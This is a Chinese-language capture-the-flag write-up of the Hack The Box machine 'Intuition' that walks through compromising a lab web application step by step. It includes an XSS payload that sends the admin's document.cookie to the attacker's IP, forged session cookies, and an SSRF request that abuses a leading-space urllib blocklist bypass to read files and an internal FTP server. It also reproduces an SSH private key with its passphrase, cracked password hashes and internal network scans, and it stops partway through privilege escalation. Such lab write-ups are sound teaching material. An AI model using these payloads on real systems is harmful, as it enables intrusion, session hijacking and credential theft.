HTB Intuition

news2024/11/21 0:18:10

Intuition

User

nmap

┌──(kali㉿kali)-[~//machine/SeasonV/linux/iClean]
└─$ nmap -A 10.129.22.134     
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-30 05:29 EDT
Nmap scan report for 10.129.22.134
Host is up (0.49s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_  256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://comprezzor.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 81.65 seconds

22,80 两端口

add host 解析 comprezzor.htb

vhost - gobuster

➜  htb gobuster vhost --append-domain -u http://comprezzor.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt    --threads 300
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://comprezzor.htb
[+] Method:          GET
[+] Threads:         300
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: auth.comprezzor.htb Status: 302 [Size: 199] [--> /login]
Found: report.comprezzor.htb Status: 200 [Size: 3166]
Found: dashboard.comprezzor.htb Status: 302 [Size: 251] [--> http://auth.comprezzor.htb/login]
Progress: 114441 / 114442 (100.00%)
===============================================================
Finished
===============================================================

得到了三个新的vhost

dashboard

auth

report

进入dashboard会跳转到auth进行登录认证

使用report也需要auth进行登录认证

xss

img

先进性登录就会得到一个cookie,此时role为user

img

然后就会跳转这个页面

img

在这个页面下,有一个功能的是通报bug给开发者,这里有一个xss

img

发送这个payload获取admin的cookie

img


#payload
<img src=x οnerrοr=this.src="http://10.10.16.11"+document.cookie />
#result
user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4
{"user_id": 2, "username": "adam", "role": "webdev"}|58f6f725339ce3f69d8552a10696ddebb68b2b57d2e523c08bde868d3a756db8

这串cookie 解密,我们得到一个新的role

dashboard-webdev

img

通过获取到的cookie进入dashboard,显示下面信息

这里面是一些用户进行的bug Report

img

通过点击对应的报告id,我们可以对某个报告进行具体的操作

  1. 设置为解决
  2. 提高优先级
  3. 删除

admin-cookie

这里我们可以在自己提交一个报告申请也是窃取xss的payload,然后在dashboard页面提升他的优先级

img

过一会,报告就被solved掉了,并且我们这次拿到了一个新的cookie,role是admin

user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5

{"user_id": 1, "username": "admin", "role": "admin"}|34822333d444ae0e4022f6cc679ac9d26d1d1d682c59c61cfbea29d776d589d9

img

此时再用新的cookie 访问,拿到了一个新的页面

Create-pdf-report

img

这个路由可以填入一个url,并且生成这个url页面的pdf

pdf的信息里面有一个wkhtmltopdf 0.1.2.6

google 搜索

Referer:https://www.exploit-db.com/exploits/51039

存在一个ssrf

ssrf-CVE-2022-35583

➜  Intuition cat index.html
<body>
        <iframe src="http://10.10.16.11/iframe">

</body>

发送请求

img

img

成功收到了iframe的请求

img

通过nc命令进行监听,获取到了请求头,User-agent: Python-urllib/3.11

说明该web服务是 python起的

CVE-2023-24329

Referer: https://nvd.nist.gov/vuln/detail/CVE-2023-24329

An issue in the urllib.parse component of Python before 3.11.4 allows attackers to bypass blocklisting methods by supplying a URL that starts with blank characters.

CERT 协调中心(CERT/CC)在周五的一份公告中说:当整个 URL 都以空白字符开头时,urlparse 就会出现解析问题。“这个问题会影响主机名和方案的解析,最终导致任何拦截列表方法失效”。

LFI

img

直接用file协议读不出内容 没道理,可能有白名单校验啥的

结合上面那个url.lib的 cve ,url 前面加一个空格,可以成功读出文件

img

读取到的passwd文件,没有看见除了root用户有sh权限的用户,尝试读取/root/.ssh/id_rsa 读取失败

所以这个服务多半在docker里面

hosts

➜  Intuition cat hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.21.0.2 web.local web
172.21.0.1 ftp.local

该靶机解析域名存在一个172.21.0.1 指向ftp.local 这个域名的dns记录,172开头的地址很像docker

environ

HOSTNAME=web.local
PYTHON_PIP_VERSION=22.3.1
HOME=/root
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
PYTHON_GET_PIP_URL=https://github.com/pypa/get- pip/raw/d5cb0afaf23b8520f1bbcfed521017b4a95f5c01/public/get-pip.py
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LANG=C.UTF-8
PYTHON_VERSION=3.11.2
PYTHON_SETUPTOOLS_VERSION=65.5.1
PWD=/app
PYTHON_GET_PIP_SHA256=394be00f13fa1b9aaa47e911bdb59a09c3b2986472130f30aa0bfaf7f3980637

通过读取/proc/self/envrion 拿到下面环境变量信息

app.py

通过读取/proc/self/cmdline 拿到了

python3  /app/code/app.py
from flask import Flask, request, redirect
from blueprints.index.index import main_bp
from blueprints.report.report import report_bp
from blueprints.auth.auth import auth_bp
from blueprints.dashboard.dashboard import dashboard_bp
app = Flask(__name__)
app.secret_key = "7ASS7ADA8RF3FD7"
app.config['SERVER_NAME'] = 'comprezzor.htb'

app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024
# Limit file size to 5MB
ALLOWED_EXTENSIONS = {'txt','pdf', 'docx'}
# Add more allowed file extensions
if needed app.register_blueprint(main_bp)
    app.register_blueprint(report_bp, subdomain='report')
    app.register_blueprint(auth_bp, subdomain='auth')
    app.register_blueprint(dashboard_bp, subdomain='dashboard')
if __name__ == '__main__':
    app.run(debug=False,host="0.0.0.0", port=80)

那么在子目录

/app/code/blueprints/index/index.py

/app/code/blueprints/report/report.py

/app/code/blueprints/auth/auth.py

/app/code/blueprints/dashboard/dashboard.py

还有文件,依次读取出来

dashboard.py

from flask import Blueprint, request, render_template, flash, redirect, url_for, send_file
from blueprints.auth.auth_utils import admin_required, login_required, deserialize_user_data
from blueprints.report.report_utils import (
    get_report_by_priority, get_report_by_id, delete_report, 
    get_all_reports, change_report_priority, resolve_report
)
import random
import os
import pdfkit
import socket
import shutil
import urllib.request
from urllib.parse import urlparse
import zipfile
from ftplib import FTP
from datetime import datetime

dashboard_bp = Blueprint('dashboard', __name__, subdomain='dashboard')
pdf_report_path = os.path.join(os.path.dirname(__file__), 'pdf_reports')
allowed_hostnames = ['report.comprezzor.htb']

@dashboard_bp.route('/', methods=['GET'])
@admin_required
def dashboard():
    user_data = request.cookies.get('user_data')
    user_info = deserialize_user_data(user_data)
    if user_info['role'] == 'admin':
        reports = get_report_by_priority(1)
    elif user_info['role'] == 'webdev':
        reports = get_all_reports()
    return render_template('dashboard/dashboard.html', reports=reports, user_info=user_info)

@dashboard_bp.route('/report/<report_id>', methods=['GET'])
@login_required
def get_report(report_id):
    user_data = request.cookies.get('user_data')
    user_info = deserialize_user_data(user_data)
    if user_info['role'] in ['admin', 'webdev']:
        report = get_report_by_id(report_id)
        return render_template('dashboard/report.html', report=report, user_info=user_info)
    else:
        pass

@dashboard_bp.route('/delete/<report_id>', methods=['GET'])
@login_required
def del_report(report_id):
    user_data = request.cookies.get('user_data')
    user_info = deserialize_user_data(user_data)
    if user_info['role'] in ['admin', 'webdev']:
        report = delete_report(report_id)
        return redirect(url_for('dashboard.dashboard'))
    else:
        pass

@dashboard_bp.route('/resolve', methods=['POST'])
@login_required
def resolve():
    report_id = int(request.args.get('report_id'))
    if resolve_report(report_id):
        flash('Report resolved successfully!', 'success')
    else:
        flash('Error occurred while trying to resolve!', 'error')
    return redirect(url_for('dashboard.dashboard'))

@dashboard_bp.route('/change_priority', methods=['POST'])
@admin_required
def change_priority():
    user_data = request.cookies.get('user_data')
    user_info = deserialize_user_data(user_data)
    if user_info['role'] != ('webdev' or 'admin'):
        flash('Not enough permissions. Only admins and webdevs can change report priority.', 'error')
        return redirect(url_for('dashboard.dashboard'))
    report_id = int(request.args.get('report_id'))
    priority_level = int(request.args.get('priority_level'))
    if change_report_priority(report_id, priority_level):
        flash('Report priority level changed!', 'success')
    else:
        flash('Error occurred while trying to change the priority!', 'error')
    return redirect(url_for('dashboard.dashboard'))

@dashboard_bp.route('/create_pdf_report', methods=['GET', 'POST'])
@admin_required
def create_pdf_report():
    global pdf_report_path
    if request.method == 'POST':
        report_url = request.form.get('report_url')
        try:
            scheme = urlparse(report_url).scheme
            hostname = urlparse(report_url).netloc
            dissallowed_schemas = ["file", "ftp", "ftps"]
            if (scheme not in dissallowed_schemas) and (
                (socket.gethostbyname(hostname.split(":")[0]) != '127.0.0.1')
                or (hostname in allowed_hostnames)
            ):
                urllib_request = urllib.request.Request(
                    report_url, 
                    headers={'Cookie': 'user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5'})
                response = urllib.request.urlopen(urllib_request)
                html_content = response.read().decode('utf-8')
                pdf_filename = f'{pdf_report_path}/report_{str(random.randint(10000, 90000))}.pdf'
                pdfkit.from_string(html_content, pdf_filename)
                return send_file(pdf_filename, as_attachment=True)
            else:
                flash('Invalid URL', 'error')
                return render_template('dashboard/create_pdf_report.html')
        except Exception as e:
            flash('Unexpected error!', 'error')
            return render_template('dashboard/create_pdf_report.html')
    else:
        return render_template('dashboard/create_pdf_report.html')

@dashboard_bp.route('/backup', methods=['GET'])
@admin_required
def backup():
    source_directory = os.path.abspath(os.path.dirname(__file__) + '../../../')
    current_datetime = datetime.now().strftime("%Y%m%d%H%M%S")
    backup_filename = f'app_backup_{current_datetime}.zip'
    with zipfile.ZipFile(backup_filename, 'w', zipfile.ZIP_DEFLATED) as zipf:
        for root, _, files in os.walk(source_directory):
            for file in files:
                file_path = os.path.join(root, file)
                arcname = os.path.relpath(file_path, source_directory)
                zipf.write(file_path, arcname=arcname)
    try:
        ftp = FTP('ftp.local')
        ftp.login(user='ftp_admin', passwd='u3jai8y71s2')
        ftp.cwd('/')
        with open(backup_filename, 'rb') as file:
            ftp.storbinary(f'STOR {backup_filename}', file)
        ftp.quit()
        os.remove(backup_filename)
        flash('Backup and upload completed successfully!', 'success')
    except Exception as e:
        flash(f'Error: {str(e)}', 'error')
    return redirect(url_for('dashboard.dashboard'))

ftp

通过读取dashborad.py 我们可以发现create_pdf_report 这个路由确实是有白名单的,我们传入的schema 如果存在白名单列表中 [“file”, “ftp”, “ftps”] 就会被拦截,加了一个空格就能绕过这个白名单,并且我们拿到了一个ftp服务凭据

ftp_admin:u3jai8y71s2 ,使用ssrf和这个凭据继续读取ftp里面的内容

POST /create_pdf_report HTTP/1.1
Host: dashboard.comprezzor.htb
Content-Length: 51
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dashboard.comprezzor.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://dashboard.comprezzor.htb/create_pdf_report
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5
Connection: close

report_url=%20ftp://ftp_admin:u3jai8y71s2@ftp.local

发送上面这个请求成功拿到了ftp里面的内容

img

ftp里面有三个文件 private-8297.key welcome_note.pdf welcome_note.txt

依次读取,pdf读取不出

welcome_note.txt

Dear Devs, We are thrilled to extend a warm welcome to you as you embark on this exciting journey with us. Your
arrival marks the beginning of an inspiring chapter in our collective pursuit of excellence, and we are genuinely
delighted to have you on board. Here, we value talent, innovation, and teamwork, and your presence here reaffirms our
commitment to nurturing a diverse and dynamic workforce. Your skills, experience, and unique perspectives are
invaluable assets that will contribute significantly to our continued growth and success. As you settle into your new
role, please know that you have our unwavering support. Our team is here to guide and assist you every step of the way,
ensuring that you have the resources and knowledge necessary to thrive in your position. To facilitate your work and
access to our systems, we have attached an SSH private key to this email. You can use the following passphrase to
access it, `Y27SH19HDIWD`. Please ensure the utmost confidentiality and security when using this key. If you have any
questions or require assistance with server access or any other aspect of your work, please do not hesitate to reach out
for assistance. In addition to your technical skills, we encourage you to bring your passion, creativity, and innovative
thinking to the table. Your contributions will play a vital role in shaping the future of our projects and products. Once
again, welcome to your new family. We look forward to getting to know you, collaborating with you, and witnessing
your exceptional contributions. Together, we will continue to achieve great things. If you have any questions or need
further information, please feel free to me at adam@comprezzor.htb. Best regards, Adam

private-8297.key

-----BEGIN OPENSSH PRIVATE KEY-----
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 
-----END OPENSSH PRIVATE KEY-----

尝试把ssh的密码去除

➜  Intuition ssh-keygen -p -f id_rsa                                                                                                                [50/296]Enter old passphrase:
Key has comment 'dev_acc@local'
Enter new passphrase (empty for no passphrase):Y27SH19HDIWD
Enter same passphrase again:
Your identification has been saved with the new passphrase.
➜  Intuition ssh-keygen -f id_rsa -y
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDfUe6nu6udKETqHA3v4sOjhIA4sxSwJOpWJsS//l6KBOcHRD6qJiFZeyQ5NkHiEKPIEfsHuFMzykx8lAKK79WWvR0BV6ZwHSQnRQByD9eAj60Z/CZNcq19PHr6uaTRjHqQ/zbs7pzWTs+mdCwKLOU7x+X0XGGmtrPH4/YODxuOwP9S7luu0XmG0m7sh8I1ETISobycDN/2qa1E/w0VBNuBltR1BRBdDiGObtiZ1sG+cMsCSGwCB0sYO/3aa5Us10N2v3999T7u7YTwJuf9Vq5Yxt8VqDT/t+JXU0LuE5xPpzedBJ5BNGNwAPqkEBmjNnQsYlBleco6FN4La7Irn74fb/7OFGR/iHuLc3UFQkTlK7LNXegrKxxb1fLp2g4B1yPr2eVDX/OzbqAE789NAv1Ag7O5H1IHTH2BTPTF3Fsm7pk+efwRuTusue6fZteAipv4rZAPKETMLeBPbUGoxPNvRy6VLfTLV+CzYGJTdrnNHWYQ7+sqbcJFGDBQ+X3QelE= dev_acc@local

使用 ssh-keygen 查看用户名 dev_acc@local

使用私钥登录,成功获取user

Root

user.db

img

在webf服务路径下翻文件发现了users.db

dev_acc@intuition:/var/www/app/blueprints/auth$ sqlite3 users.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .table
users
sqlite> select * from users;                                                                                                                   
1|admin|sha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606|admin
2|adam|sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43|webdev
sqlite>
➜  crack hashcat -m   30120 -a 0 hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt  --show
sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:adam gray

成功解密

➜  crack sudo crackmapexec ssh  10.10.11.15 -u users -p 'adam gray'
SSH         10.10.11.15     22     10.10.11.15      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.7
SSH         10.10.11.15     22     10.10.11.15      [-] root:adam gray Authentication failed.
SSH         10.10.11.15     22     10.10.11.15      [-] adam:adam gray Authentication failed.
SSH         10.10.11.15     22     10.10.11.15      [-] dev_acc:adam gray Authentication failed.
SSH         10.10.11.15     22     10.10.11.15      [-] lopez:adam gray Authentication failed.

这个凭证无法用来ssh登录,继续收集信息

ftp

dev_acc@intuition:/opt/ftp$ ls -al
total 16
drwxr-xr-x 4 root root 4096 Sep 19  2023 .
drwxr-xr-x 7 root root 4096 Apr 10 08:21 ..
drwxrwx--- 3 root adam 4096 Apr 10 08:21 adam
drwxrwx--- 2 root root 4096 May  3 04:55 ftp_admin

ftp 目录在这里有一个属于adam用户的目录,说明那个凭证可能是用来登录里的

dev_acc@intuition:/opt/ftp$ ftp 0 21
Connected to 0.
220 pyftpdlib 1.5.7 ready.
Name (0:dev_acc): adam                                                                                                                          331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering extended passive mode (|||39291|).
125 Data connection already open. Transfer starting.
drwxr-xr-x   3 root     1002         4096 Apr 10 08:21 backup
226 Transfer complete.
ftp> cd backup
250 "/backup" is the current directory.
ftp> ls
229 Entering extended passive mode (|||48205|).
150 File status okay. About to open data connection.
drwxr-xr-x   2 root     1002         4096 Apr 10 08:21 runner1
226 Transfer complete.
ftp> cd runner1
250 "/backup/runner1" is the current directory.
ftp> ls
229 Entering extended passive mode (|||34593|).
150 File status okay. About to open data connection.
-rwxr-xr-x   1 root     1002          318 Apr 06 00:25 run-tests.sh
-rwxr-xr-x   1 root     1002        16744 Oct 19  2023 runner1
-rw-r--r--   1 root     1002         3815 Oct 19  2023 runner1.c
226 Transfer complete.
ftp> lpwd
Local directory: /opt/ftp
ftp> lcd /home/dev_acc
Local directory now: /home/dev_acc
ftp> get *
local: user.txt remote: *
ftp: Can't access `user.txt': Operation not permitted
ftp> help
Commands may be abbreviated.  Commands are:

!               close           fget            lpage           modtime         pdir            rcvbuf          sendport        type
$               cr              form            lpwd            more            pls             recv            set             umask
account         debug           ftp             ls              mput            pmlsd           reget           site            unset
append          delete          gate            macdef          mreget          preserve        remopts         size            usage
ascii           dir             get             mdelete         msend           progress        rename          sndbuf          user
bell            disconnect      glob            mdir            newer           prompt          reset           status          verbose
binary          edit            hash            mget            nlist           proxy           restart         struct          xferbuf
bye             epsv            help            mkdir           nmap            put             rhelp           sunique         ?
case            epsv4           idle            mls             ntrans          pwd             rmdir           system
cd              epsv6           image           mlsd            open            quit            rstatus         tenex
cdup            exit            lcd             mlst            page            quote           runique         throttle
chmod           features        less            mode            passive         rate            send            trace
ftp> get  run-tests.sh
local: run-tests.sh remote: run-tests.sh
229 Entering extended passive mode (|||44807|).
125 Data connection already open. Transfer starting.
100% |***************************************************************************************************|   318      594.91 KiB/s    00:00 ETA
226 Transfer complete.
318 bytes received in 00:00 (498.46 KiB/s)
ftp> get runner1
local: runner1 remote: runner1
229 Entering extended passive mode (|||45973|).
125 Data connection already open. Transfer starting.
100% |***************************************************************************************************| 16744       18.91 MiB/s    00:00 ETA
226 Transfer complete.
16744 bytes received in 00:00 (16.70 MiB/s)
ftp> get runner1.crunner1.c
local: runner1.crunner1.c remote: runner1.crunner1.c
229 Entering extended passive mode (|||36465|).
550 No such file or directory.
ftp> get runner1.c
local: runner1.c remote: runner1.c
229 Entering extended passive mode (|||51053|).
125 Data connection already open. Transfer starting.
100% |***************************************************************************************************|  3815       16.53 MiB/s    00:00 ETA
226 Transfer complete.
3815 bytes received in 00:00 (11.40 MiB/s)
ftp>

有几个这样的文件,我们把他下载下来

大概看了一下是一个控制一个叫playbook服务的脚本

暂时想不到如何利用,感觉有命令注入

netstat

img

img

dev_acc@intuition:/tmp$ ./fscan -h  172.21.0.4/24  -p 80,4444,5000,8080,38843

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.3
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.21.0.2      is alive
(icmp) Target 172.21.0.4      is alive
(icmp) Target 172.21.0.1      is alive
[*] Icmp alive hosts len is: 3
172.21.0.2:80 open
172.21.0.1:80 open
[*] alive ports len is: 3
start vulscan
172.21.0.4:4444 open
[*] WebTitle http://172.21.0.1         code:301 len:178    title:301 Moved Permanently 跳转url: http://comprezzor.htb/
[*] WebTitle http://172.21.0.2         code:404 len:207    title:404 Not Found
[*] WebTitle http://comprezzor.htb/    code:200 len:3408   title:Comprezzor
[*] WebTitle http://172.21.0.4:4444    code:302 len:0      title:None 跳转url: http://172.21.0.4:4444/ui/
[*] WebTitle http://172.21.0.4:4444/ui/ code:200 len:486    title:Selenium Grid
已完成 3/3
[*] 扫描结束,耗时: 11.486285763s

4444端口有服务

上chisel 代理一下流量

img

进去可以vnc,但是需要密码,我们不知道密码

suricata.log

dev_acc@intuition:/tmp$ find / -name *.log 2>/dev/null
/var/log/kern.log                                                                                                                                                                           /var/log/auth.log
/var/log/vmware-network.5.log
/var/log/vmware-vmsvc-root.1.log
/var/log/vmware-network.3.log
/var/log/vmware-network.6.log
/var/log/laurel/audit.log
/var/log/vmware-network.2.log
/var/log/vmware-network.log
/var/log/vmware-vmtoolsd-root.log                                                                                                                                                           /var/log/vmware-network.1.log
/var/log/vmware-network.7.log                                                                                                                                                               /var/log/vmware-vmsvc-root.log
/var/log/vmware-vmsvc-root.3.log
/var/log/suricata/stats.log
/var/log/suricata/suricata.log
/var/log/suricata/fast.log
/var/log/vmware-vmsvc-root.2.log
/var/log/nginx/error.log
/var/log/nginx/access.log
/var/log/vmware-network.4.log
/usr/share/doc/python3.10/pybench.log

查找有权限读的log文件,发现了一个不常见的suricata

Suricata 是一个高性能的、开源的网络分析和威胁检测引擎。它可以用于实时入侵检测 (IDS)、内网安全监视 (IPS)、网络安全监测 (NSM) 和离线 pcap 处理。
Suricata 的主要特性包括:
协议识别:Suricata 可以自动识别多种网络协议,包括但不限于HTTP,FTP,SMB等,这对于检测各种威胁移动非常有用。
流跟踪:Suricata 能够在网络流量中跟踪并识别单独的流对话,使其能够更好地理解流量模式以及进行更深入的威胁检测。
基于规则的威胁检测:Suricata 支持强大的威胁检测规则,允许你定制各种规则来捕获和警告各种网络威胁。
多线程处理能力:为了提高性能,Suricata支持多线程处理,可充分发挥现代多核处理器的性能。
HTTP和TLS威胁检测:Suricata包含HTTP和TLS协议的威胁检测功能,可以监测这些协议中的威胁行为。
Suricata 还有许多其他的特性,包括文件和数据检测,TLS/SSL加密的检测等,使其成为一个强大的网络安全监控工具。更多信息可以在它的 官方网站 上找到。

那么这个ids会捕获流量,说不定捕获到了和用户凭证有关的流量,直接匹配和用户有关的信息

adam、lopze

dev_acc@intuition:/var/log/suricata$ ls -al
total 42652
drwxr-xr-x  2 root root       4096 Apr 29 18:27 .
drwxrwxr-x 12 root syslog     4096 May  3 06:21 ..
-rw-r--r--  1 root root   18143731 May  3 06:45 eve.json
-rw-r--r--  1 root root          0 Apr 29 18:27 eve.json.1
-rw-r--r--  1 root root    5760612 Oct 26  2023 eve.json.1-2024040114.backup
-rw-r--r--  1 root root          0 Apr  8 14:19 eve.json.1-2024042213.backup
-rw-r--r--  1 root root          0 Apr 22 13:26 eve.json.1-2024042918.backup
-rw-r--r--  1 root root     214743 Oct 28  2023 eve.json.4.gz
-rw-r--r--  1 root root    5050595 Oct 14  2023 eve.json.6.gz
-rw-r--r--  1 root root     972578 Sep 29  2023 eve.json.7.gz
-rw-r--r--  1 root root          0 Apr 29 18:27 fast.log
-rw-r--r--  1 root root          0 Apr 29 18:27 fast.log.1
-rw-r--r--  1 root root          0 Oct 26  2023 fast.log.1-2024040114.backup
-rw-r--r--  1 root root          0 Apr  8 14:19 fast.log.1-2024042213.backup
-rw-r--r--  1 root root          0 Apr 22 13:26 fast.log.1-2024042918.backup
-rw-r--r--  1 root root         20 Oct 26  2023 fast.log.4.gz
